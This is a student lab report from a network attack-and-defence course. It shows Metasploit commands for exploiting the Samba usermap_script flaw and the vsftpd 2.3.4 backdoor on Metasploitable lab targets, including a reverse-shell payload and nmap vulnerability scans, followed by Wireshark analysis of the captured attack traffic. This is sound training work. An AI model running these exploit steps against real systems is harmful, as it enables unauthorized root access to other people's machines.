20232815 2022-2023-2 《网络攻防实践》实践七报告
1.实践内容
Linux操作系统简介: Linux,一般指GNU/Linux(单独的Linux内核并不可直接使用,一般搭配GNU套件,故得此称呼),是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹(Linus Benedict Torvalds)于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它支持32位和64位硬件,能运行主要的Unix工具软件、应用程序和网络协议。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。
Linux安全机制: 1.身份认证 2.认证登录 3.授权及访问控制 4.安全审计机制等
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
实验环境:
Kali | Metasploitable_Ubuntu |
---|---|
192.168.200.4 | 192.168.200.3 |
1.通过命令msfconsole
启动Metasploit渗透软件
2.使用exploit:exploit/multi/samba/usermap_script
渗透。本次实践已经给出要使用的攻击模块,当不知道使用什么攻击模块时,可以使用show exploits
显示所有可用的渗透攻击模块。同时可以用search xxx
寻找与漏洞相关的模块。
3.选择攻击PAYLOAD为远程shell
攻击载荷Payload是我们期望目标系统在被渗透攻击之后取执行的代码,在Metasploit框架中可以自由地选择、传送和植入,使用show payloads
可以看到适用于渗透攻击的攻击载荷列表。输入set payload cmd/unix/reverse
。
4.设置渗透攻击参数,并执行攻击
使用show options
后,会列出这个模块所需的各种参数。参数(options)是保证Metasploit框架中各个模块正确运行所需的各种设置。使用set命令可以对某个参数进行设置(同时启用该参数),如本次实践使用set RHOST192.168.200.3
表示设置靶机IP地址,使用使用set LHOST 192.168.200.4
表示设置攻击机IP地址。
通过run或exploit开始执行攻击。
攻击成功,输入whoami
命令可以查看到权限为root
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
攻击方IP | 防御方IP |
---|---|
170.20.10.11 | 172.20.10.13 |
测试两主机的连通性: | |
![]() | |
![]() |
攻击实验:
输入命令sudo nmap -sV 172.20.10.13
对目标主机进行漏洞扫描
sudo nmap --script vuln xxx
可以扫描更多的漏洞,同时时间也更长。
进行攻击,步骤与实验内容1类似:
防御实验:
防御方只需打开wireshark进行抓包即可:
对包进行跟踪流可发现攻击方的IP地址以及操作过的命令:
(3)使用vsftp漏洞
攻击方 | 防御方 |
---|---|
192.168.1.108 | 192.168.1.109 |
攻击部分
输入msfconsole
启动Metasploit
输入以下命令进行vsftp渗透攻击
use exploit/unix/ftp/vsftpd_234_backdoor
set LHOST 192.168.1.108
set RHOST 192.168.1.109
run
攻击成功,进入usr文件夹,创建attacker文件:
防御部分
打开wireshark进行抓包,输入ip.addr==192.168.1.108 && ip.addr==192.168.1.109
进行过滤
追踪流,可知攻击者使用的是vsFTPd
还可查看攻击者的命令
查看靶机发现确实攻击成功:
3.学习中遇到的问题及解决
- 问题1:实践1中exploit执行命令失败,显示为
192.168.200.123:139 - Exploit failed [unreachable]: Rex::ConnectionRefused
- 问题1解决方案:通过多方排查发现是Metasploitable2-Linux的问题,将其换为群里同学提供的虚拟机后解决
- 问题2:攻击机和靶机互ping失败
- 问题2解决方案:打开密网…
4.实践总结
通过本次实验,学习到了Linux操作系统攻防的基本原理和方法。认识到渗透一般利用代码的漏洞,而linux的开源特性决定代码审计在安全方面的重要性。